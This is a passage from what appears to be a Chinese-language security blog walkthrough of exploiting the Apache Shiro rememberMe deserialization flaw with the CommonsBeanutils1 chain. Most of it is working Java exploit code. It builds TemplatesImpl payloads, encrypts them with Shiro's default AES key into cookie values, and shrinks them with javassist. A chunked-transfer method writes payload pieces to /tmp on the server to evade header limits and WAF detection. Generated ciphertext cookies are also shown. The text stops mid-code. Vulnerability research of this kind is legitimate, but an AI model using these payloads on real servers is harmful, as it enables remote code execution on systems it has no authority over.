UWwk/hIPjRClkSJ2TZcV5wdhkh5M/njshL3hL4vkledsUDWL/w1Bj+RcaeoYWT1XQwPAsTcrvWt59f2TMj3rFFYti3N+3Lq3wp2bW/xFm/pzaKWiHHnP1YKW08b2aAUTSIGv7rD+UR6KjjFlQlJGmfdfLBfLSAAHQDm28AXCaod4ERm410061e1g90tUyFgnGIha2dwz1mo5rpBuBX8O0hXpYZRKl0fXFPyr/mC8i87LzyWgsveekQuiyNEepiYwh9k8H34NVU56B0rkt77IzWfVlwEzKCP6X9eqiTzpUMwaj9mgHxlnAqLQodztYxrCQebriffbP0WjVXhPcLlxwYMrNwKzecyLgD+UQLfLL8F/MX4Yl0auucCDBl6JUxnBTSpwxoqe53DhdM6rWOnqRM6IC4P4aMJPesbITgVf3/1zCGf32Hj2LFD542lM8xlN7G++E9R6wDbzisuzZqqfphvQ14fQ3/EoTtlZoD6+PFJa5NY2Zfs/HRBPeQ5Wvxz4qOTHQXc7x67lO3CFBZnYkXQ/A0O/bGkATr6cMRBKO3MQMO0ZSq+JhGtsHRO88BcpU1yq9V50Nmvd06NS38n/ATaWHOb1UgQH2NQ8d5OLl+HtVyuJrSdX8R44opw1nn7bvIJa0zorUpu5B6JgUuSOaz7UWEspWwwGoC2DQJ8c2cP7J3W9jRp1W5oJYwJ0biBYl+ci0D1SaIqk1oHn5cUehay232i/FCTMkK9F0DKR4N7ufnU2Wm+JABS1rqigxUNpnK9Hgs1VtZJhRH+64xWdXvhnv44LYMB2krPWdagej0R2s7hrBQuGK2WD1w/N5B0vdp/oqxLuKKdSiClEmOZ+u9I9CHGkM6nVkCc7fMzYk8yKv6hDzDh9MIIz+omuQNZQ9gGCdXOBLGWCN63W6BPImcwLUWxmrQ1/zJpNnWw4CryDNw5ytEWSSzngA/6Va8Eh5SocKF1+OIgnTqM/k0aS9fDm0UvIwyZgfi3D5ej2VTXi2zpZ4NssPvXGPdYxFKPpCHxBUngSnLZhhkhsv8at72H5zcGg2YXtXTq7hNEAOHdIEyrzRzGdfFePYJ4a5AfVGkLXsWKgUpgmryAcpx+6jxkcIPhlClac7tBTMj5eB4fhe6wm9tZjMFxiVlxxqOvPlGquRiWho/twzooJmUXGnc=</span><br></pre></td></tr></table></figure><p>接着将构造好的恶意对象经加密后放入 <code>rememberMe</code> Cookie 中，当服务器解密并进行 <strong>反序列化</strong> 时，<code>PriorityQueue</code>（入口点）在排序时触发了 <code>BeanComparator</code>（中继点），进而通过反射调用了 <code>TemplatesImpl</code> 的 <code>getOutputProperties()</code> 方法，最终导致预埋在 <code>_bytecodes</code> 字段中的恶意类被实例化，从而在服务器上执行任意命令，至此最简单的 Shiro 漏洞复现到此结束</p><p><img src="https://bfs.iloli.moe/blog/20260302225827140.png" alt="image-20260302225826923"></p><p>那么接下来就是要解决 Cookie 过长的问题了，比如可以通过 <code>javassist</code> 或 分块传输来缩短 Cookie 长度</p><h2 id="使用-Javassist-缩短长度"><a href="#使用-Javassist-缩短长度" class="headerlink" title="使用 Javassist 缩短长度"></a>使用 Javassist 缩短长度</h2><p>由于我们最终目的是为了缩短长度，所以可以用 javassist 来将写死的恶意类通过动态构造实现缩短长度，比如上面写的 <code>calculator.java</code> 这个是完全写死的，无法恶意构造，所以需要动态构造一个字节码</p><p>首先引入 javassist 依赖</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.javassist<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>javassist<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">version</span>&gt;</span>3.28.0-GA<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br></pre></td></tr></table></figure><p>然后编写一个 <code>javassist_poc.java</code></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> exp;</span><br><span class="line"><span class="keyword">import</span> javassist.ClassPool;</span><br><span class="line"><span class="keyword">import</span> javassist.CtClass;</span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">javassist_poc</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="type">byte</span>[] generateDynamicClass(String cmd) <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="type">ClassPool</span> <span class="variable">pool</span> <span class="operator">=</span> ClassPool.getDefault();</span><br><span class="line">        <span class="comment">// 创建一个极简类名，减少字节码体积</span></span><br><span class="line">        <span class="type">CtClass</span> <span class="variable">clazz</span> <span class="operator">=</span> pool.makeClass(<span class="string">&quot;ice.A&quot;</span> + System.nanoTime());</span><br><span class="line">        <span class="comment">// 必须继承 AbstractTranslet</span></span><br><span class="line">        <span class="type">CtClass</span> <span class="variable">superClazz</span> <span class="operator">=</span> pool.get(<span class="string">&quot;com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet&quot;</span>);</span><br><span class="line">        clazz.setSuperclass(superClazz);</span><br><span class="line">        <span class="comment">// 如果是不出网回显，这里可以换成延时代码：Thread.sleep(5000);</span></span><br><span class="line">        <span class="type">String</span> <span class="variable">src</span> <span class="operator">=</span> <span class="string">&quot;java.lang.Runtime.getRuntime().exec(\&quot;&quot;</span> + cmd + <span class="string">&quot;\&quot;);&quot;</span>;</span><br><span class="line">        clazz.makeClassInitializer().insertBefore(src);</span><br><span class="line">        <span class="type">byte</span>[] bytecodes = clazz.toBytecode();</span><br><span class="line">        clazz.detach();</span><br><span class="line">        <span class="keyword">return</span> bytecodes;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>然后修改上面的 <code>exp.java</code>，动态生成字节码</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> exp;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.beanutils.BeanComparator;</span><br><span class="line"><span class="keyword">import</span> org.apache.shiro.codec.Base64;</span><br><span class="line"><span class="keyword">import</span> org.apache.shiro.crypto.AesCipherService;</span><br><span class="line"><span class="keyword">import</span> org.apache.shiro.util.ByteSource;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Field;</span><br><span class="line"><span class="keyword">import</span> java.nio.file.Files;</span><br><span class="line"><span class="keyword">import</span> java.nio.file.Paths;</span><br><span class="line"><span class="keyword">import</span> java.util.PriorityQueue;</span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">javassist_exp</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">setFieldValue</span><span class="params">(Object object, String fieldName, Object value)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="type">Field</span> <span class="variable">field</span> <span class="operator">=</span> object.getClass().getDeclaredField(fieldName);</span><br><span class="line">        field.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        field.set(object, value);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> Object <span class="title function_">getPayload</span><span class="params">()</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="type">byte</span>[] code = javassist_poc.generateDynamicClass(<span class="string">&quot;open -a Calculator&quot;</span>);</span><br><span class="line">        <span class="type">TemplatesImpl</span> <span class="variable">templates</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">TemplatesImpl</span>();</span><br><span class="line">        setFieldValue(templates, <span class="string">&quot;_bytecodes&quot;</span>, <span class="keyword">new</span> <span class="title class_">byte</span>[][]&#123;code&#125;);</span><br><span class="line">        setFieldValue(templates, <span class="string">&quot;_name&quot;</span>, <span class="string">&quot;t&quot;</span>); <span class="comment">// 短一点</span></span><br><span class="line">        setFieldValue(templates, <span class="string">&quot;_tfactory&quot;</span>, <span class="keyword">new</span> <span class="title class_">TransformerFactoryImpl</span>());</span><br><span class="line">        <span class="comment">// 构造 CB1 链 (使用 BeanComparator)</span></span><br><span class="line">        <span class="comment">// 1.8.3 的 BeanComparator 默认使用 ComparableComparator，体积最小</span></span><br><span class="line">        <span class="keyword">final</span> <span class="type">BeanComparator</span> <span class="variable">comparator</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">BeanComparator</span>(<span class="literal">null</span>);</span><br><span class="line">        PriorityQueue&lt;Object&gt; queue = <span class="keyword">new</span> <span class="title class_">PriorityQueue</span>&lt;&gt;(<span class="number">2</span>, comparator);</span><br><span class="line">        queue.add(<span class="number">1</span>);</span><br><span class="line">        queue.add(<span class="number">1</span>);</span><br><span class="line">        setFieldValue(comparator, <span class="string">&quot;property&quot;</span>, <span class="string">&quot;outputProperties&quot;</span>);</span><br><span class="line">        setFieldValue(queue, <span class="string">&quot;queue&quot;</span>, <span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;templates, templates&#125;);</span><br><span class="line">        <span class="keyword">return</span> queue;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="type">Object</span> <span class="variable">payloadObject</span> <span class="operator">=</span> getPayload();</span><br><span class="line">        java.io.<span class="type">ByteArrayOutputStream</span> <span class="variable">baos</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">java</span>.io.ByteArrayOutputStream();</span><br><span class="line">        java.io.<span class="type">ObjectOutputStream</span> <span class="variable">oos</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">java</span>.io.ObjectOutputStream(baos);</span><br><span class="line">        oos.writeObject(payloadObject);</span><br><span class="line">        oos.close();</span><br><span class="line">        <span class="type">byte</span>[] payloadBytes = baos.toByteArray();</span><br><span class="line">        <span class="type">String</span> <span class="variable">key</span> <span class="operator">=</span> <span class="string">&quot;kPH+bIxk5D2deZiIxcaaaA==&quot;</span>;</span><br><span class="line">        <span class="type">byte</span>[] keyBytes = Base64.decode(key);</span><br><span class="line">        <span class="type">AesCipherService</span> <span class="variable">aes</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">AesCipherService</span>();</span><br><span class="line">        <span class="type">ByteSource</span> <span class="variable">ciphertext</span> <span class="operator">=</span> aes.encrypt(payloadBytes, keyBytes);</span><br><span class="line">        System.out.println(ciphertext.toString());</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>接着运行生成，会发现已经小了很多了</p><p><img src="https://bfs.iloli.moe/blog/20260302230722437.png" alt="image-20260302230716907"></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">9JRpOrsN6BC+7fiyilY7o4otMaNdpLUeJ9EnZ1VU3MYEErySYueuaIoxmO/JHEjUbepNiH9DZwDuPGr42JUCOUC8MBzF4tX8cnPgatQCCXOMjiQ6ONpWlkVywktrhnoVx5TsE40dA+QjxMBNvdbqPHnU1S1q0EPfVL5xgBZmiHvYV/TWc6LdjZdBT7x/Q22YGJ0J0iq6d5QlthCFzvSMwadM8LEaSgAZX03hxDAq8RlHzKbQJw6zb+Ygxheu95tHZkj4gGuGhmqiDhRzuZI/F+IN57aSpiXZc5QyBHD0e1bxD24gw6COfQlaFuz4uZLyMdg8Ci8UAVdEzXL+c9KBApeuepqjnR9Uhi1LptUL4pWEtMoRfQQP4molo+ET7JtfY9NQV7loZP+dG7CFVC/AkGiIfbhqPFH7K0OpuJKX9a/eRfenV16Q8VeLQgbJKDI6pyCSYCtUCdGuhHod2mUEgCyGAXOQOkj/nqZ1WqVIwh9wHndTEEHFihIz220kYzNE/+X+qGldOELSVDx6Jmm89ThTT3PqRzmPIMPbnVTZ+0EQKBlUaWwFfbo81zNXYS4uhnD0lUKYew6arFokkCUH1uNe4RGgwYCBm7pXh3q281AZJ/DEEggzu+khpXc/sDNjeIwLdRzheeIrHsYJ+BgTahycfViHFAa8OLchOABvLArrp+OxCdcwMLQdT9itfFdCPpsgURcMmaXoc0mfAfqfvuKyM1GWAXlQUXtnJjKgEp4IrpvulQRHouYocYu5mzrpYyM8+mC65Q3v0MWOW4xIzGWr0nICiuju77y2lAUJOuZt337UvQVQhr3PozDPlJCqlRWsjWFXv8GdriRhC5Vms0LVdpRbiQjXIGCAqat9bRYvtNOeLxnUwLO4DhjXs2NsH2YCw3pPduX3egvfiJmQktBxJvUHC+cd48yVy9Uiv9MCjTl88fbMEPNJN6vx7k2vulBlKn0Di48K0FfDZlZgUm6JO4fS12QCdvMJp1nVLSBbuYr4Fm8SkuSPexr0NnY+XOfCAKM16CilaMga4PtVRDO6LfwBzM0DxXRkVUTiBVS/F+O+znSqgkw9B6en/C4+yJHbxGNP3qO56iLbIp/YiCkZiQ+hclXZRgk1hVX3RCkLHiqd/JNI+RtrOwnBdn1KFUQ03Q2MMzHVuTxi9If2vLWVHhJfm+MPEjExIb9UTm1U9v8x2/6KmbwHxqLv1GjotXjQvTYOGywlzd22z5GtihzG9YcC2/MECzzrSQGzAkeZT/mCM6UfRlVe647PRCG0QSGgVBxGt0M4gB6qiyTXG1+TdHFXM45FCgXxFjq9SXh3I4cy5kQNs8Ngl+XPp9785k5QE+Lt7QnMsjDDG9y/sYqEVAmfSgrSw9Gno7TFfdnQa84RoRSNxNSGdvb63zeJmvyLdvVKbAOozPYDS7LHQg==</span><br></pre></td></tr></table></figure><p>打打看，发现没毛病</p><p><img src="https://bfs.iloli.moe/blog/20260302230802042.png" alt="image-20260302230801862"></p><p>那还有更短的方案吗？还真有，但是利用条件非常苛刻，没有研究的必要，总结一下代码和利用思路吧，其实本质上就是省去了恶意类的读取，直接用 javassist 来进行动态生成，生成的类不含 LineNumberTable 等调试信息</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> exp;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;</span><br><span class="line"><span class="keyword">import</span> javassist.ClassPool;</span><br><span class="line"><span class="keyword">import</span> javassist.CtClass;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.beanutils.BeanComparator;</span><br><span class="line"><span class="keyword">import</span> org.apache.shiro.codec.Base64;</span><br><span class="line"><span class="keyword">import</span> org.apache.shiro.crypto.AesCipherService;</span><br><span class="line"><span class="keyword">import</span> java.io.ByteArrayOutputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.ObjectOutputStream;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Field;</span><br><span class="line"><span class="keyword">import</span> java.util.PriorityQueue;</span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">javassist_mini_exp</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">setFieldValue</span><span class="params">(Object obj, String fieldName, Object value)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="type">Field</span> <span class="variable">field</span> <span class="operator">=</span> obj.getClass().getDeclaredField(fieldName);</span><br><span class="line">        field.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        field.set(obj, value);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="type">byte</span>[] getUltraShortBytecode(String cmd) <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="type">ClassPool</span> <span class="variable">pool</span> <span class="operator">=</span> ClassPool.getDefault();</span><br><span class="line">        <span class="type">CtClass</span> <span class="variable">cc</span> <span class="operator">=</span> pool.makeClass(<span class="string">&quot;A&quot;</span>);</span><br><span class="line">        cc.setSuperclass(pool.get(<span class="string">&quot;com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet&quot;</span>));</span><br><span class="line">        cc.makeClassInitializer().insertBefore(<span class="string">&quot;java.lang.Runtime.getRuntime().exec(\&quot;&quot;</span> + cmd + <span class="string">&quot;\&quot;);&quot;</span>);</span><br><span class="line">        <span class="type">byte</span>[] bytes = cc.toBytecode();</span><br><span class="line">        cc.detach();</span><br><span class="line">        <span class="keyword">return</span> bytes;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="type">byte</span>[] code = getUltraShortBytecode(<span class="string">&quot;open -a Calculator&quot;</span>);</span><br><span class="line">        <span class="type">TemplatesImpl</span> <span class="variable">templates</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">TemplatesImpl</span>();</span><br><span class="line">        setFieldValue(templates, <span class="string">&quot;_bytecodes&quot;</span>, <span class="keyword">new</span> <span class="title class_">byte</span>[][]&#123;code&#125;);</span><br><span class="line">        setFieldValue(templates, <span class="string">&quot;_name&quot;</span>, <span class="string">&quot;a&quot;</span>); <span class="comment">// 极简属性名</span></span><br><span class="line">        setFieldValue(templates, <span class="string">&quot;_tfactory&quot;</span>, <span class="keyword">new</span> <span class="title class_">TransformerFactoryImpl</span>());</span><br><span class="line">        <span class="type">BeanComparator</span> <span class="variable">comparator</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">BeanComparator</span>(<span class="literal">null</span>);</span><br><span class="line">        PriorityQueue&lt;Object&gt; queue = <span class="keyword">new</span> <span class="title class_">PriorityQueue</span>&lt;&gt;(<span class="number">2</span>, comparator);</span><br><span class="line">        queue.add(<span class="number">1</span>);</span><br><span class="line">        queue.add(<span class="number">1</span>);</span><br><span class="line">        setFieldValue(comparator, <span class="string">&quot;property&quot;</span>, <span class="string">&quot;outputProperties&quot;</span>);</span><br><span class="line">        setFieldValue(queue, <span class="string">&quot;queue&quot;</span>, <span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;templates, templates&#125;);</span><br><span class="line">        <span class="type">ByteArrayOutputStream</span> <span class="variable">baos</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ByteArrayOutputStream</span>();</span><br><span class="line">        <span class="keyword">new</span> <span class="title class_">ObjectOutputStream</span>(baos).writeObject(queue);</span><br><span class="line">        <span class="type">String</span> <span class="variable">key</span> <span class="operator">=</span> <span class="string">&quot;kPH+bIxk5D2deZiIxcaaaA==&quot;</span>;</span><br><span class="line">        <span class="type">AesCipherService</span> <span class="variable">aes</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">AesCipherService</span>();</span><br><span class="line">        <span class="type">byte</span>[] encrypted = aes.encrypt(baos.toByteArray(), Base64.decode(key)).getBytes();</span><br><span class="line">        System.out.println(Base64.encodeToString(encrypted));</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>如果你想探测不出网的话，可以把 <code>getUltraShortBytecode</code> 里的命令改成<strong>时间延迟（Time-based Sleep）</strong></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">byte</span>[] code = getUltraShortBytecode(<span class="string">&quot;Thread.sleep(5000);&quot;</span>);</span><br></pre></td></tr></table></figure><h2 id="使用分块传输缩短长度"><a href="#使用分块传输缩短长度" class="headerlink" title="使用分块传输缩短长度"></a>使用分块传输缩短长度</h2><p>或者我们可以通过 Block Transmission 分块传输来缩短长度，这个在实战中可能非常有效，因为它能绕过 Web 容器对单个 HTTP Header 长度（通常为 8KB）的限制，同时规避了一些 WAF 对超长 Payload 的正则检测，核心逻辑就是利用 <code>java.io.FileOutputStream</code> 的 <code>append</code>  模式，将多段 Base64 或原始字节分批写入服务器临时目录<code>/tmp</code> ，最后再写一个 Payload 去读取并执行这个文件</p><blockquote><p>其实这个思路在早年做 CS 脱裤的时候也是分块传输的逻辑，都差不多</p></blockquote><ol><li><p>初始化&#x2F;追加阶段：发送 $N$ 个请求，每个请求带有一小段 Base64 字符串，追加写入服务器文件</p></li><li><p>执行阶段：发送最后一个请求，读取该文件，Base64 解码后动态加载执行</p></li></ol><p>编写一个 <code>chunk_exp.java</code></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> exp;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;</span><br><span class="line"><span class="keyword">import</span> javassist.ClassPool;</span><br><span class="line"><span class="keyword">import</span> javassist.CtClass;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.beanutils.BeanComparator;</span><br><span class="line"><span class="keyword">import</span> org.apache.shiro.codec.Base64;</span><br><span class="line"><span class="keyword">import</span> org.apache.shiro.crypto.AesCipherService;</span><br><span class="line"><span class="keyword">import</span> java.io.ByteArrayOutputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.ObjectOutputStream;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Field;</span><br><span class="line"><span class="keyword">import</span> java.util.PriorityQueue;</span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">chunk_exp</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="type">byte</span>[] getAppendPayload(String path, String b64Content) <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="type">ClassPool</span> <span class="variable">pool</span> <span class="operator">=</span> ClassPool.getDefault();</span><br><span class="line">        <span class="type">CtClass</span> <span class="variable">cc</span> <span class="operator">=</span> pool.makeClass(<span class="string">&quot;Append&quot;</span> + System.nanoTime());</span><br><span class="line">        cc.setSuperclass(pool.get(<span class="string">&quot;com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet&quot;</span>));</span><br><span class="line">        <span class="comment">// 核心追加逻辑</span></span><br><span class="line">        <span class="type">String</span> <span class="variable">cmd</span> <span class="operator">=</span> <span class="string">&quot;try &#123;&quot;</span> +</span><br><span class="line">                <span class="string">&quot;  String p = \&quot;&quot;</span> + path + <span class="string">&quot;\&quot;;&quot;</span> +</span><br><span class="line">                <span class="string">&quot;  String c = \&quot;&quot;</span> + b64Content + <span class="string">&quot;\&quot;;&quot;</span> +</span><br><span class="line">                <span class="string">&quot;  java.io.FileOutputStream fos = new java.io.FileOutputStream(p, true);&quot;</span> +</span><br><span class="line">                <span class="string">&quot;  fos.write(c.getBytes());&quot;</span> +</span><br><span class="line">                <span class="string">&quot;  fos.close();&quot;</span> +</span><br><span class="line">                <span class="string">&quot;&#125; catch (Exception e) &#123;&#125;&quot;</span>;</span><br><span class="line"></span><br><span class="line">        cc.makeClassInitializer().insertBefore(cmd);</span><br><span class="line">        <span class="keyword">return</span> cc.toBytecode();</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> String <span class="title function_">makeCookie</span><span class="params">(<span class="type">byte</span>[] code)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="type">TemplatesImpl</span> <span class="variable">templates</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">TemplatesImpl</span>();</span><br><span class="line">        setFieldValue(templates, <span class="string">&quot;_bytecodes&quot;</span>, <span class="keyword">new</span> <span class="title class_">byte</span>[][]&#123;code&#125;);</span><br><span class="line">        setFieldValue(templates, <span class="string">&quot;_name&quot;</span>, <span class="string">&quot;a&quot;</span>);</span><br><span class="line">        setFieldValue(templates, <span class="string">&quot;_tfactory&quot;</span>, <span class="keyword">new</span> <span class="title class_">TransformerFactoryImpl</span>());</span><br><span class="line">        <span class="type">BeanComparator</span> <span class="variable">comparator</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">BeanComparator</span>(<span class="literal">null</span>);</span><br><span class="line">        PriorityQueue&lt;Object&gt; queue = <span class="keyword">new</span> <span class="title class_">PriorityQueue</span>&lt;&gt;(<span class="number">2</span>, comparator);</span><br><span class="line">        queue.add(<span class="number">1</span>); queue.add(<span class="number">1</span>);</span><br><span class="line">        setFieldValue(comparator, <span class="string">&quot;property&quot;</span>, <span class="string">&quot;outputProperties&quot;</span>);</span><br><span class="line">        setFieldValue(queue, <span class="string">&quot;queue&quot;</span>, <span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;templates, templates&#125;);</span><br><span class="line">        <span class="type">ByteArrayOutputStream</span> <span class="variable">baos</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ByteArrayOutputStream</span>();</span><br><span class="line">        <span class="keyword">new</span> <span class="title class_">ObjectOutputStream</span>(baos).writeObject(queue);</span><br><span class="line">        <span class="type">String</span> <span class="variable">key</span> <span class="operator">=</span> <span class="string">&quot;kPH+bIxk5D2deZiIxcaaaA==&quot;</span>;</span><br><span class="line">        <span class="keyword">return</span> Base64.encodeToString(<span class="keyword">new</span> <span class="title class_">AesCipherService</span>().encrypt(baos.toByteArray(), Base64.decode(key)).getBytes());</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">setFieldValue</span><span class="params">(Object obj, String field, Object val)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="type">Field</span> <span class="variable">f</span> <span 